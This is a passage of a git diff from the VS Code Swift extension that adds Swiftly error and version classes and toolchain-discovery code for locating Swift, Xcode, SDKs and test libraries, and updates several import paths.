* Represents an error that can happen when invoking Swiftly. + * + * Error types can be distinguished via the `code` property. + */ +export class SwiftlyError extends Error { + static osNotSupported(options: { message?: string; cause?: unknown } = {}): SwiftlyError { + return new SwiftlyError(SwiftlyErrorCode.OS_NOT_SUPPORTED, options); + } + + static notInstalled(options: { message?: string; cause?: unknown } = {}): SwiftlyError { + return new SwiftlyError(SwiftlyErrorCode.NOT_INSTALLED, options); + } + + static methodNotSupported(options: { message?: string; cause?: unknown } = {}): SwiftlyError { + return new SwiftlyError(SwiftlyErrorCode.METHOD_NOT_SUPPORTED, options); + } + + static unknown(options: { message?: string; cause?: unknown } = {}): SwiftlyError { + return new SwiftlyError(SwiftlyErrorCode.UNKNOWN, options); + } + + constructor( + public readonly code: SwiftlyErrorCode, + options: { message?: string; cause?: unknown } + ) { + super(options.message ?? humanReadableErrorCode(code), { + cause: options.cause, + }); + this.name = "SwiftlyError"; + } +} diff --git a/src/swiftly/SwiftlyVersion.ts b/src/swiftly/SwiftlyVersion.ts new file mode 100644 index 000000000..41f750e45 --- /dev/null +++ b/src/swiftly/SwiftlyVersion.ts @@ -0,0 +1,48 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { Version } from "../utilities/version"; +import { SwiftlyError } from "./SwiftlyError"; + +export class SwiftlyVersion extends Version { + static fromString(s: string): SwiftlyVersion { + const version = Version.fromString(s); + if (!version) { + throw SwiftlyError.unknown({ + message: `Unable to parse Swiftly version string: "${s}"`, + }); + } + return new SwiftlyVersion(version); + } + + constructor(version: Version); + constructor(major: number, minor: number, patch: number, dev?: boolean); + constructor( + versionOrMajor: Version | number, + minor: number = 0, + patch: number = 0, + dev: boolean = false + ) { + if (typeof versionOrMajor === "number") { + super(versionOrMajor, minor, patch, dev); + } else { + const version = versionOrMajor; + super(version.major, version.minor, version.patch, version.dev); + } + } + + /** Whether or not Swiftly supports the `--format=json` command line option. */ + get supportsJSONOutput(): boolean { + return this.isGreaterThanOrEqual({ major: 1, minor: 1, patch: 0 }); + } +} diff --git a/src/swiftly/types.ts b/src/swiftly/types.ts new file mode 100644 index 000000000..a31f350a9 --- /dev/null +++ b/src/swiftly/types.ts @@ -0,0 +1,100 @@ +import { z } from "zod/v4/mini"; + +import { Result } from "../utilities/result"; +import { SwiftlyError } from "./SwiftlyError"; + +export const SwiftlyList = z.object({ + toolchains: z.array( + z.object({ + inUse: z.boolean(), + isDefault: z.boolean(), + version: z.union([ + z.object({ + type: z.literal("stable"), + name: z.string(), + major: z.optional(z.number()), + minor: z.optional(z.number()), + patch: z.optional(z.number()), + }), + z.object({ + type: z.literal("snapshot"), + name: z.string(), + major: z.optional(z.number()), + minor: z.optional(z.number()), + branch: z.string(), + date: z.string(), + }), + z.object({ + type: z.string(), + name: z.string(), + }), + ]), + }) + ), +}); + +export const InUseVersionResult = z.object({ + version: z.string(), +}); + +const StableVersion = z.object({ + type: z.literal("stable"), + name: z.string(), + major: z.number(), + minor: z.number(), + patch: z.number(), +}); + +export type StableVersion = z.infer; + +const SnapshotVersion = z.object({ + type: z.literal("snapshot"), + name: z.string(), + major: z.union([z.number(), z.undefined()]), + minor: z.union([z.number(), z.undefined()]), + branch: z.string(), + date: z.string(), +}); + +export type SnapshotVersion = z.infer; + +const AvailableToolchain = z.object({ + inUse: z.boolean(), + installed: z.boolean(), + isDefault: z.boolean(), + version: z.discriminatedUnion("type", [StableVersion, SnapshotVersion]), +}); + +export type AvailableToolchain = z.infer; + +export function isStableVersion( + version: StableVersion | SnapshotVersion +): version is StableVersion { + return version.type === "stable"; +} + +export function isSnapshotVersion( + version: StableVersion | SnapshotVersion +): version is SnapshotVersion { + return version.type === "snapshot"; +} + +export const ListAvailable = z.object({ + toolchains: z.array(AvailableToolchain), +}); + +export interface SwiftlyProgressData { + step?: { + text?: string; + timestamp?: number; + percent?: number; + }; +} + +export interface PostInstallValidationResult { + isValid: boolean; + summary: string; + invalidCommands?: string[]; +} + +export type SwiftlyResult = Result; diff --git a/src/tasks/SwiftPluginTaskProvider.ts b/src/tasks/SwiftPluginTaskProvider.ts index 30d7e707d..878281fac 100644 --- a/src/tasks/SwiftPluginTaskProvider.ts +++ b/src/tasks/SwiftPluginTaskProvider.ts @@ -21,7 +21,7 @@ import configuration, { substituteVariablesInString, } from "../configuration"; import { SwiftExecution } from "../tasks/SwiftExecution"; -import { SwiftToolchain } from "../toolchain/toolchain"; +import { SwiftToolchain } from "../toolchain/SwiftToolchain"; import { packageName, resolveTaskCwd } from "../utilities/tasks"; import { swiftRuntimeEnv } from "../utilities/utilities"; import { SwiftTask } from "./SwiftTaskProvider"; diff --git a/src/tasks/SwiftTaskProvider.ts b/src/tasks/SwiftTaskProvider.ts index 95d062f4a..86be97800 100644 --- a/src/tasks/SwiftTaskProvider.ts +++ b/src/tasks/SwiftTaskProvider.ts @@ -22,7 +22,7 @@ import configuration, { } from "../configuration"; import { BuildConfigurationFactory } from "../debugger/buildConfig"; import { SwiftExecution } from "../tasks/SwiftExecution"; -import { SwiftToolchain } from "../toolchain/toolchain"; +import { SwiftToolchain } from "../toolchain/SwiftToolchain"; import { getPlatformConfig, packageName, resolveScope, resolveTaskCwd } from "../utilities/tasks"; import { swiftRuntimeEnv } from "../utilities/utilities"; import { Version } from "../utilities/version"; diff --git a/src/toolchain/BuildFlags.ts b/src/toolchain/BuildFlags.ts index 443d872db..995f7176e 100644 --- a/src/toolchain/BuildFlags.ts +++ b/src/toolchain/BuildFlags.ts @@ -17,7 +17,7 @@ import configuration from "../configuration"; import { SwiftLogger } from "../logging/SwiftLogger"; import { execSwift } from "../utilities/utilities"; import { Version } from "../utilities/version"; -import { DarwinCompatibleTarget, SwiftToolchain, getDarwinTargetTriple } from "./toolchain"; +import { DarwinCompatibleTarget, SwiftToolchain, getDarwinTargetTriple } from "./SwiftToolchain"; /** Target info */ export interface DarwinTargetInfo { diff --git a/src/toolchain/Sanitizer.ts b/src/toolchain/Sanitizer.ts index b56e7e76a..bdd31704b 100644 --- a/src/toolchain/Sanitizer.ts +++ b/src/toolchain/Sanitizer.ts @@ -13,7 +13,7 @@ //===----------------------------------------------------------------------===// import * as path from "path"; -import { SwiftToolchain } from "./toolchain"; +import { SwiftToolchain } from "./SwiftToolchain"; export class Sanitizer { private constructor( diff --git a/src/toolchain/SwiftToolchain.ts b/src/toolchain/SwiftToolchain.ts new file mode 100644 index 000000000..c0d306ddd --- /dev/null +++ b/src/toolchain/SwiftToolchain.ts @@ -0,0 +1,312 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2023 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as path from "path"; +import * as vscode from "vscode"; + +import { SwiftLogger } from "../logging/SwiftLogger"; +import { Environment } from "../services/Environment"; +import { pathExists } from "../utilities/filesystem"; +import { execFile, execSwift, getXcodeDirectory } from "../utilities/utilities"; +import { Version } from "../utilities/version"; +import { BuildFlags } from "./BuildFlags"; +import { Sanitizer } from "./Sanitizer"; + +/** + * Project template information retrieved from `swift package init --help` + */ +export interface SwiftProjectTemplate { + id: string; + name: string; + description: string; +} + +/** + * Stripped layout of `swift -print-target-info` output. + */ +export interface SwiftTargetInfo { + compilerVersion: string; + target?: { + triple: string; + unversionedTriple: string; + [name: string]: string | string[]; + }; + paths: { + runtimeLibraryPaths: string[]; + [name: string]: string | string[]; + }; + [name: string]: string | object | undefined; +} + +/** + * A Swift compilation target that can be compiled to + * from macOS. These are similar to XCode's target list. + */ +export enum DarwinCompatibleTarget { + iOS = "iOS", + tvOS = "tvOS", + watchOS = "watchOS", + visionOS = "xrOS", +} + +export function getDarwinSDKName(target: DarwinCompatibleTarget): string { + switch (target) { + case DarwinCompatibleTarget.iOS: + return "iphoneos"; + case DarwinCompatibleTarget.tvOS: + return "appletvos"; + case DarwinCompatibleTarget.watchOS: + return "watchos"; + case DarwinCompatibleTarget.visionOS: + return "xros"; + } +} + +export function getDarwinTargetTriple(target: DarwinCompatibleTarget): string | undefined { + switch (target) { + case DarwinCompatibleTarget.iOS: + return "arm64-apple-ios"; + case DarwinCompatibleTarget.tvOS: + return "arm64-apple-tvos"; + case DarwinCompatibleTarget.watchOS: + return "arm64-apple-watchos"; + case DarwinCompatibleTarget.visionOS: + return "arm64-apple-xros"; + } +} + +export class SwiftToolchain { + public swiftVersionString: string; + + constructor( + private readonly env: Environment, + public swiftFolderPath: string, // folder swift executable in $PATH was found in + public toolchainPath: string, // toolchain folder. One folder up from swift bin folder. This is to support toolchains without usr folder + private targetInfo: SwiftTargetInfo, + public swiftVersion: Version, // Swift version as semVar variable + public runtimePath?: string, // runtime library included in output from `swift -print-target-info` + public defaultSDK?: string, + public customSDK?: string, + public xcTestPath?: string, + public swiftTestingPath?: string, + public swiftPMTestingHelperPath?: string, + public isSwiftlyManaged: boolean = false // true if this toolchain is managed by Swiftly + ) { + this.swiftVersionString = targetInfo.compilerVersion; + } + + public get unversionedTriple(): string | undefined { + return this.targetInfo.target?.unversionedTriple; + } + + /** build flags */ + public get buildFlags(): BuildFlags { + return new BuildFlags(this); + } + + /** build flags */ + public sanitizer(name: string): Sanitizer | undefined { + return Sanitizer.create(name, this); + } + + /** + * Returns true if the console output of `swift test --parallel` prints results + * to stdout with newlines or not. + */ + public get hasMultiLineParallelTestOutput(): boolean { + return ( + this.swiftVersion.isLessThanOrEqual(new Version(5, 6, 0)) || + this.swiftVersion.isGreaterThanOrEqual(new Version(6, 0, 0)) + ); + } + + /** + * Get a list of new project templates from swift package manager + * @returns a {@link SwiftProjectTemplate} for each discovered project type + */ + public async getProjectTemplates(): Promise { + // Only swift versions >=5.8.0 are supported + if (this.swiftVersion.isLessThan(new Version(5, 8, 0))) { + return []; + } + // Parse the output from `swift package init --help` + const { stdout } = await execSwift(["package", "init", "--help"], "default"); + const lines = stdout.split(/\r?\n/g); + // Determine where the `--type` option is documented + let position = lines.findIndex(line => line.trim().startsWith("--type")); + if (position === -1) { + throw new Error("Unable to parse output from `swift package init --help`"); + } + // Loop through the possible project types in the output + position += 1; + const result: SwiftProjectTemplate[] = []; + const typeRegex = /^\s*([a-zA-z-]+)\s+-\s+(.+)$/; + for (; position < lines.length; position++) { + const line = lines[position]; + // Stop if we hit a new command line option + if (line.trim().startsWith("--")) { + break; + } + // Check if this is the start of a new project type + const match = line.match(typeRegex); + if (match) { + const nameSegments = match[1].split("-"); + result.push({ + id: match[1], + name: nameSegments + .map(seg => seg[0].toLocaleUpperCase() + seg.slice(1)) + .join(" "), + description: match[2], + }); + } else { + // Continuation of the previous project type + result[result.length - 1].description += " " + line.trim(); + } + } + return result; + } + + /** + * Return fullpath for toolchain executable + */ + public getToolchainExecutable(executable: string): string { + return this.env.getExecutablePath(path.join(this.toolchainPath, executable)); + } + + /** + * Returns the path to the LLDB executable inside the selected toolchain. + * If the user is on macOS and has no OSS toolchain selected, also search + * inside Xcode. + * @returns The path to the `lldb` executable + * @throws Throws an error if the executable cannot be found + */ + public async getLLDB(): Promise { + return this.findToolchainOrXcodeExecutable("lldb"); + } + + /** + * Returns the path to the LLDB debug adapter executable inside the selected + * toolchain. If the user is on macOS and has no OSS toolchain selected, also + * search inside Xcode. + * @returns The path to the `lldb-dap` executable + * @throws Throws an error if the executable cannot be found + */ + public async getLLDBDebugAdapter(): Promise { + return this.findToolchainOrXcodeExecutable("lldb-dap"); + } + + /** + * Search for the supplied executable in the toolchain. + * If the user is on macOS and has no OSS toolchain selected, also + * search inside Xcode. + */ + private async findToolchainOrXcodeExecutable(executable: string): Promise { + if (this.env.platform === "win32") { + executable += ".exe"; + } + const toolchainExecutablePath = path.join(this.swiftFolderPath, executable); + + if (await pathExists(toolchainExecutablePath)) { + return toolchainExecutablePath; + } + + if (this.env.platform !== "darwin") { + throw new Error( + `Failed to find ${executable} within Swift toolchain '${this.toolchainPath}'` + ); + } + return this.findXcodeExecutable(executable); + } + + private async findXcodeExecutable(executable: string): Promise { + const xcodeDirectory = getXcodeDirectory(this.toolchainPath); + if (!xcodeDirectory) { + throw new Error( + `Failed to find ${executable} within Swift toolchain '${this.toolchainPath}'` + ); + } + try { + const { stdout } = await execFile("xcrun", ["-find", executable], { + env: { ...this.env.env(), DEVELOPER_DIR: xcodeDirectory }, + }); + return stdout.trimEnd(); + } catch (error) { + throw new Error( + `Failed to find ${executable} within Xcode Swift toolchain '${xcodeDirectory}'`, + { cause: error } + ); + } + } + + private basePlatformDeveloperPath(): string | undefined { + const sdk = this.customSDK ?? this.defaultSDK; + if (!sdk) { + return undefined; + } + return path.resolve(sdk, "../../"); + } + + /** + * Library path for swift-testing executables + */ + public swiftTestingLibraryPath(): string | undefined { + let result = ""; + const base = this.basePlatformDeveloperPath(); + if (base) { + result = `${path.join(base, "usr/lib")}:`; + } + return `${result}${path.join(this.toolchainPath, "lib/swift/macosx/testing")}`; + } + + /** + * Framework path for swift-testing executables + */ + public swiftTestingFrameworkPath(): string | undefined { + const base = this.basePlatformDeveloperPath(); + if (!base) { + return undefined; + } + const frameworks = path.join(base, "Library/Frameworks"); + const privateFrameworks = path.join(base, "Library/PrivateFrameworks"); + return `${frameworks}:${privateFrameworks}`; + } + + get diagnostics(): string { + let str = ""; + str += this.swiftVersionString; + str += `\nPlatform: ${this.env.platform}`; + str += `\nVS Code Version: ${vscode.version}`; + str += `\nSwift Path: ${this.swiftFolderPath}`; + str += `\nToolchain Path: ${this.toolchainPath}`; + if (this.runtimePath) { + str += `\nRuntime Library Path: ${this.runtimePath}`; + } + if (this.targetInfo.target?.triple) { + str += `\nDefault Target: ${this.targetInfo.target?.triple}`; + } + if (this.defaultSDK) { + str += `\nDefault SDK: ${this.defaultSDK}`; + } + if (this.customSDK) { + str += `\nCustom SDK: ${this.customSDK}`; + } + if (this.xcTestPath) { + str += `\nXCTest Path: ${this.xcTestPath}`; + } + return str; + } + + logDiagnostics(logger: SwiftLogger) { + logger.debug(this.diagnostics); + } +} diff --git a/src/toolchain/ToolchainService.ts b/src/toolchain/ToolchainService.ts new file mode 100644 index 000000000..5cfe12591 --- /dev/null +++ b/src/toolchain/ToolchainService.ts @@ -0,0 +1,602 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as path from "path"; +import * as plist from "plist"; +import type * as vscode from "vscode"; + +import configuration from "../configuration"; +import { Logger } from "../logging/Logger"; +import { Environment } from "../services/Environment"; +import { FileSystem } from "../services/FileSystem"; +import { Shell } from "../services/Shell"; +import { Swiftly } from "../swiftly/Swiftly"; +import { expandFilePathTilde } from "../utilities/filesystem"; +import { Result } from "../utilities/result"; +import { lineBreakRegex } from "../utilities/tasks"; +import { getXcodeDirectory } from "../utilities/utilities"; +import { Version } from "../utilities/version"; +import { + DarwinCompatibleTarget, + SwiftTargetInfo, + SwiftToolchain, + getDarwinSDKName, +} from "./SwiftToolchain"; + +export interface ToolchainService { + create(folder: string): Promise; + + /** + * Get active developer dir for Xcode + */ + getXcodeDeveloperDir(env?: { [key: string]: string }): Promise; + + /** + * @param target Target to obtain the SDK path for + * @returns path to the SDK for the target + */ + getSDKForTarget(target: DarwinCompatibleTarget): Promise; + + /** + * @param sdk sdk name + * @returns path to the SDK + */ + getSDKPath(sdk: string): Promise; + + /** + * Get the list of Xcode applications installed on macOS. + * + * Note: this uses a combination of xcode-select and the Spotlight index and may not contain + * all Xcode installations depending on the user's macOS settings. + * + * @returns an array of Xcode installations in no particular order. + */ + findXcodeInstalls(): Promise; + + /** + * Checks common directories for available swift toolchain installations. + * + * @returns an array of toolchain paths + */ + getToolchainInstalls(): Promise; + + /** + * Searches the given directory for any swift toolchain installations. + * + * @param directory the directory path to search in + * @returns an array of toolchain paths + */ + findToolchainsIn(directory: string): Promise; + + /** + * Returns the path to the CommandLineTools toolchain if its installed. + */ + findCommandLineTools(): Promise; +} + +/** + * Contents of **Info.plist** on Windows. + */ +interface InfoPlist { + DefaultProperties: { + XCTEST_VERSION: string | undefined; + SWIFT_TESTING_VERSION: string | undefined; + }; +} + +export class SwiftToolchainService implements ToolchainService { + constructor( + private readonly fs: FileSystem, + private readonly config: typeof configuration, + private readonly env: Environment, + private readonly shell: Shell, + private readonly window: typeof vscode.window, + private readonly swiftly: Swiftly, + private readonly logger: Logger + ) {} + + async create(cwd: string): Promise { + // Find the path to the Swift binary + let swiftBinaryPath = await this.findSwiftBinary(cwd); + swiftBinaryPath = await this.resolveSwiftEnvPath(swiftBinaryPath); + swiftBinaryPath = await this.resolveXcodeSwiftPath(swiftBinaryPath); + let isSwiftlyManaged = false; + if (await this.swiftly.isSwiftlyToolchain(swiftBinaryPath)) { + const swiftlyToolchainInfo = (await this.swiftly.getActiveToolchain(cwd)).getOrThrow(); + swiftBinaryPath = path.join(swiftlyToolchainInfo.location, "usr/bin/swift"); + isSwiftlyManaged = true; + } + const swiftFolderPath = path.dirname(swiftBinaryPath); + // Grab toolchain information + const targetInfo = await this.getSwiftTargetInfo( + this.env.getExecutablePath(path.join(swiftFolderPath, "swift")) + ); + const swiftVersion = this.getSwiftVersion(targetInfo); + const [runtimePath, defaultSDK] = await Promise.all([ + this.getRuntimePath(targetInfo), + this.getDefaultSDK(), + ]); + const customSDK = this.getCustomSDK(); + const [xcTestPath, swiftTestingPath, swiftPMTestingHelperPath] = await Promise.all([ + this.getXCTestPath( + targetInfo, + swiftFolderPath, + swiftVersion, + runtimePath, + customSDK ?? defaultSDK + ), + this.getSwiftTestingPath( + targetInfo, + swiftVersion, + runtimePath, + customSDK ?? defaultSDK + ), + this.getSwiftPMTestingHelperPath(swiftFolderPath), + ]); + // Create the SwiftToolchain + return new SwiftToolchain( + this.env, + swiftFolderPath, + swiftFolderPath, + targetInfo, + swiftVersion, + runtimePath, + defaultSDK, + customSDK, + xcTestPath, + swiftTestingPath, + swiftPMTestingHelperPath, + isSwiftlyManaged + ); + } + + private async findSwiftBinary(cwd: string): Promise { + if (this.config.path !== "") { + return this.config.path; + } + return this.shell.findBinaryPath("swift", { cwd }); + } + + private async resolveXcodeSwiftPath(swiftBinaryPath: string): Promise { + if (this.env.platform !== "darwin" || swiftBinaryPath !== "/usr/bin/swift") { + return swiftBinaryPath; + } + + return (await this.shell.execFile("xcrun", ["--find", "swift"])).stdout.trim(); + } + + /** + * swiftenv is a popular way to install swift on Linux. It uses shim shell scripts + * for all of the swift executables. This is problematic when we are trying to find + * the lldb version. Also swiftenv can also change the swift version beneath which + * could cause problems. This function will return the actual path to the swift + * executable instead of the shim version + * + * @param swiftPath Path to swift folder + * @returns Path to swift folder installed by swiftenv + */ + private async resolveSwiftEnvPath(swiftBinaryPath: string): Promise { + if (this.env.platform !== "linux" || !swiftBinaryPath.endsWith(".swiftenv/shims")) { + return swiftBinaryPath; + } + + try { + const swiftenvPath = path.dirname(swiftBinaryPath); + const swiftenv = path.join(swiftenvPath, "libexec", "swiftenv"); + const { stdout } = await this.shell.execFile(swiftenv, ["which", "swift"]); + const swift = stdout.trimEnd(); + return path.dirname(swift); + } catch (error) { + this.logger.error(error); + return swiftBinaryPath; + } + } + + async getSDKForTarget(target: DarwinCompatibleTarget): Promise { + return await this.getSDKPath(getDarwinSDKName(target)); + } + + async getSDKPath(sdk: string): Promise { + // Include custom variables so that non-standard XCode installs can be better supported. + const { stdout } = await this.shell.execFile("xcrun", ["--sdk", sdk, "--show-sdk-path"], { + env: { ...process.env, ...configuration.swiftEnvironmentVariables }, + }); + return path.join(stdout.trimEnd()); + } + + async getXcodeDeveloperDir(env?: { [key: string]: string }): Promise { + const { stdout } = await this.shell.execFile("xcode-select", ["-p"], { + env: env, + }); + return stdout.trimEnd(); + } + + async findXcodeInstalls(): Promise { + if (process.platform !== "darwin") { + return []; + } + + // Use the Spotlight index and xcode-select to find available Xcode installations + const [{ stdout: mdfindOutput }, xcodeDeveloperDir] = await Promise.all([ + this.shell.execFile("mdfind", [`kMDItemCFBundleIdentifier == 'com.apple.dt.Xcode'`]), + this.getXcodeDeveloperDir(), + ]); + const spotlightXcodes = + mdfindOutput.length > 0 ? mdfindOutput.trimEnd().split(lineBreakRegex) : []; + const selectedXcode = getXcodeDirectory(xcodeDeveloperDir); + + // Combine the results from both commands + const result = spotlightXcodes; + if (selectedXcode && spotlightXcodes.find(xcode => xcode === selectedXcode) === undefined) { + result.push(selectedXcode); + } + return result; + } + + async getToolchainInstalls(): Promise { + if (process.platform !== "darwin") { + return []; + } + // TODO: If Swiftly is managing these toolchains then omit them + return Promise.all([ + this.findToolchainsIn("/Library/Developer/Toolchains/"), + this.findToolchainsIn(path.join(this.env.homedir(), "Library/Developer/Toolchains/")), + this.findCommandLineTools(), + ]).then(results => results.flatMap(a => a)); + } + + async findToolchainsIn(directory: string): Promise { + try { + const toolchains = await Promise.all( + (await this.fs.readdir(directory, { withFileTypes: true })) + .filter(dirent => dirent.name.startsWith("swift-")) + .map(async dirent => { + const toolchainPath = path.join(dirent.path, dirent.name); + const toolchainSwiftPath = path.join(toolchainPath, "usr", "bin", "swift"); + if (!(await this.fs.pathExists(toolchainSwiftPath))) { + return null; + } + return toolchainPath; + }) + ); + return toolchains.filter( + (toolchain): toolchain is string => typeof toolchain === "string" + ); + } catch { + // Assume that there are no installations here + return []; + } + } + + private async getSwiftFolderPath( + folder: string + ): Promise<{ path: string; isSwiftlyManaged: boolean }> { + try { + let swift: string; + if (this.config.path !== "") { + const windowsExeSuffix = process.platform === "win32" ? ".exe" : ""; + swift = path.join(this.config.path, `swift${windowsExeSuffix}`); + } else { + switch (this.env.platform) { + case "darwin": { + const { stdout } = await this.shell.execFile("which", ["swift"]); + swift = stdout.trimEnd(); + break; + } + case "win32": { + const { stdout } = await this.shell.execFile("where", ["swift"]); + const paths = stdout.trimEnd().split("\r\n"); + if (paths.length > 1) { + void this.window.showWarningMessage( + `Found multiple swift executables in in %PATH%. Using excutable found at ${paths[0]}` + ); + } + swift = paths[0]; + break; + } + default: { + swift = await this.shell.findBinaryPath("swift"); + break; + } + } + } + // swift may be a symbolic link + let realSwift = await this.fs.realpath(swift); + let isSwiftlyManaged = false; + + if (path.basename(realSwift) === "swiftly") { + const inUse = (await this.swiftly.getActiveToolchain(folder)) + .map(result => result.location) + .flatMapError(() => Result.success("")) + .getOrThrow(); + if (inUse !== "") { + realSwift = path.join(inUse, "usr", "bin", "swift"); + isSwiftlyManaged = true; + } + } + const swiftPath = expandFilePathTilde(path.dirname(realSwift)); + return { + path: await this.resolveSwiftEnvPath(swiftPath), + isSwiftlyManaged, + }; + } catch (error) { + this.logger.error(`Failed to find swift executable: ${error}`); + throw Error("Failed to find swift executable"); + } + } + + /** + * @param targetInfo swift target info + * @returns path to Swift runtime + */ + async getRuntimePath(targetInfo: SwiftTargetInfo): Promise { + if (configuration.runtimePath !== "") { + return configuration.runtimePath; + } else if (process.platform === "win32") { + const { stdout } = await this.shell.execFile("where", ["swiftCore.dll"]); + const swiftCore = stdout.trimEnd(); + return swiftCore.length > 0 ? path.dirname(swiftCore) : undefined; + } else { + return targetInfo.paths.runtimeLibraryPaths.length > 0 + ? targetInfo.paths.runtimeLibraryPaths.join(":") + : undefined; + } + } + + /** + * @returns path to default SDK + */ + async getDefaultSDK(): Promise { + switch (process.platform) { + case "darwin": { + if (process.env.SDKROOT) { + return process.env.SDKROOT; + } + + return this.getSDKPath("macosx"); + } + case "win32": { + return process.env.SDKROOT; + } + } + return undefined; + } + + /** + * @returns path to custom SDK + */ + getCustomSDK(): string | undefined { + return configuration.sdk !== "" ? configuration.sdk : undefined; + } + + /** + * @returns path to the swiftpm-testing-helper binary, if it exists. + */ + async getSwiftPMTestingHelperPath(toolchainPath: string): Promise { + if (process.platform === "darwin") { + const toolchainSwiftPMHelperPath = path.join( + toolchainPath, + "libexec", + "swift", + "pm", + "swiftpm-testing-helper" + ); + + // Verify that the helper exists. Older toolchains wont have it and thats ok, + // it just means that XCTests and swift-testing tests exist in their own binaries + // and can each be run separately. If this path exists we know the tests exist in + // a unified binary and we need to use this utility to run the swift-testing tests + // on macOS. XCTests are still run with the xctest utility on macOS. The test binaries + // can be invoked directly on Linux/Windows. + if (await this.fs.fileExists(toolchainSwiftPMHelperPath)) { + return toolchainSwiftPMHelperPath; + } + } + + return undefined; + } + + /** + * @param targetInfo swift target info + * @param swiftVersion parsed swift version + * @param runtimePath path to Swift runtime + * @param sdkroot path to swift SDK + * @returns path to folder where xctest can be found + */ + async getSwiftTestingPath( + targetInfo: SwiftTargetInfo, + swiftVersion: Version, + runtimePath: string | undefined, + sdkroot: string | undefined + ): Promise { + if (process.platform !== "win32") { + return undefined; + } + return this.getWindowsPlatformDLLPath( + "Testing", + targetInfo, + swiftVersion, + runtimePath, + sdkroot + ); + } + + /** + * @param targetInfo swift target info + * @param swiftVersion parsed swift version + * @param runtimePath path to Swift runtime + * @param sdkroot path to swift SDK + * @returns path to folder where xctest can be found + */ + async getXCTestPath( + targetInfo: SwiftTargetInfo, + swiftFolderPath: string, + swiftVersion: Version, + runtimePath: string | undefined, + sdkroot: string | undefined + ): Promise { + switch (process.platform) { + case "darwin": { + const xcodeDirectory = getXcodeDirectory(swiftFolderPath); + const swiftEnvironmentVariables = configuration.swiftEnvironmentVariables; + if (xcodeDirectory && !("DEVELOPER_DIR" in swiftEnvironmentVariables)) { + swiftEnvironmentVariables["DEVELOPER_DIR"] = xcodeDirectory; + } + const developerDir = await this.getXcodeDeveloperDir(swiftEnvironmentVariables); + return path.join(developerDir, "usr", "bin"); + } + case "win32": { + return await this.getWindowsPlatformDLLPath( + "XCTest", + targetInfo, + swiftVersion, + runtimePath, + sdkroot + ); + } + } + return undefined; + } + + async getWindowsPlatformDLLPath( + type: "XCTest" | "Testing", + targetInfo: SwiftTargetInfo, + swiftVersion: Version, + runtimePath: string | undefined, + sdkroot: string | undefined + ): Promise { + // look up runtime library directory for XCTest/Testing alternatively + const fallbackPath = + runtimePath !== undefined && + (await this.fs.pathExists(path.join(runtimePath, `${type}.dll`))) + ? runtimePath + : undefined; + if (!sdkroot) { + return fallbackPath; + } + + const platformPath = path.dirname(path.dirname(path.dirname(sdkroot))); + const platformManifest = path.join(platformPath, "Info.plist"); + if ((await this.fs.pathExists(platformManifest)) !== true) { + if (fallbackPath) { + return fallbackPath; + } + void this.window.showWarningMessage( + `${type} not found due to non-standardized library layout. Tests explorer won't work as expected.` + ); + return undefined; + } + const data = await this.fs.readFile(platformManifest, "utf8"); + let infoPlist; + try { + infoPlist = plist.parse(data) as unknown as InfoPlist; + } catch (error) { + void this.window.showWarningMessage(`Unable to parse ${platformManifest}: ${error}`); + return undefined; + } + const plistKey = type === "XCTest" ? "XCTEST_VERSION" : "SWIFT_TESTING_VERSION"; + const version = infoPlist.DefaultProperties[plistKey]; + if (!version) { + this.logger.warn(`${platformManifest} is missing the ${plistKey} key.`); + return undefined; + } + + if (swiftVersion.isGreaterThanOrEqual(new Version(5, 7, 0))) { + let bindir: string; + const arch = targetInfo.target?.triple.split("-", 1)[0]; + switch (arch) { + case "x86_64": + bindir = "bin64"; + break; + case "i686": + bindir = "bin32"; + break; + case "aarch64": + bindir = "bin64a"; + break; + default: + throw Error(`unsupported architecture ${arch}`); + } + return path.join( + platformPath, + "Developer", + "Library", + `${type}-${version}`, + "usr", + bindir + ); + } else { + return path.join( + platformPath, + "Developer", + "Library", + `${type}-${version}`, + "usr", + "bin" + ); + } + } + + /** @returns swift target info */ + async getSwiftTargetInfo(swiftExecutable: string): Promise { + try { + try { + const { stdout } = await this.shell.execSwift(["-print-target-info"], { + swiftExecutable, + }); + const targetInfo = JSON.parse(stdout.trimEnd()) as SwiftTargetInfo; + if (targetInfo.compilerVersion) { + return targetInfo; + } + } catch { + // hit error while running `swift -print-target-info`. We are possibly running + // a version of swift 5.3 or older + } + const { stdout } = await this.shell.execSwift(["--version"], { swiftExecutable }); + return { + compilerVersion: stdout.split(lineBreakRegex, 1)[0], + paths: { runtimeLibraryPaths: [""] }, + }; + } catch { + throw Error( + "Failed to get swift version from either '-print-target-info' or '--version'." + ); + } + } + + /** + * @param targetInfo swift target info + * @returns swift version object + */ + getSwiftVersion(targetInfo: SwiftTargetInfo): Version { + const match = targetInfo.compilerVersion.match(/Swift version ([\S]+)/); + let version: Version | undefined; + if (match) { + version = Version.fromString(match[1]); + } + return version ?? new Version(0, 0, 0); + } + + async findCommandLineTools(): Promise { + const commandLineToolsPath = "/Library/Developer/CommandLineTools"; + if (!(await this.fs.pathExists(commandLineToolsPath))) { + return []; + } + + const toolchainSwiftPath = path.join(commandLineToolsPath, "usr", "bin", "swift"); + if (!(await this.fs.pathExists(toolchainSwiftPath))) { + return []; + } + return [commandLineToolsPath]; + } +} diff --git a/src/toolchain/ToolchainVersion.ts b/src/toolchain/ToolchainVersion.ts index 752d9199b..df195214c 100644 --- a/src/toolchain/ToolchainVersion.ts +++ b/src/toolchain/ToolchainVersion.ts @@ -12,12 +12,6 @@ // //===----------------------------------------------------------------------===// -export interface SwiftlyConfig { - installedToolchains: string[]; - inUse: string; - version: string; -} - /** * This code is a port of the 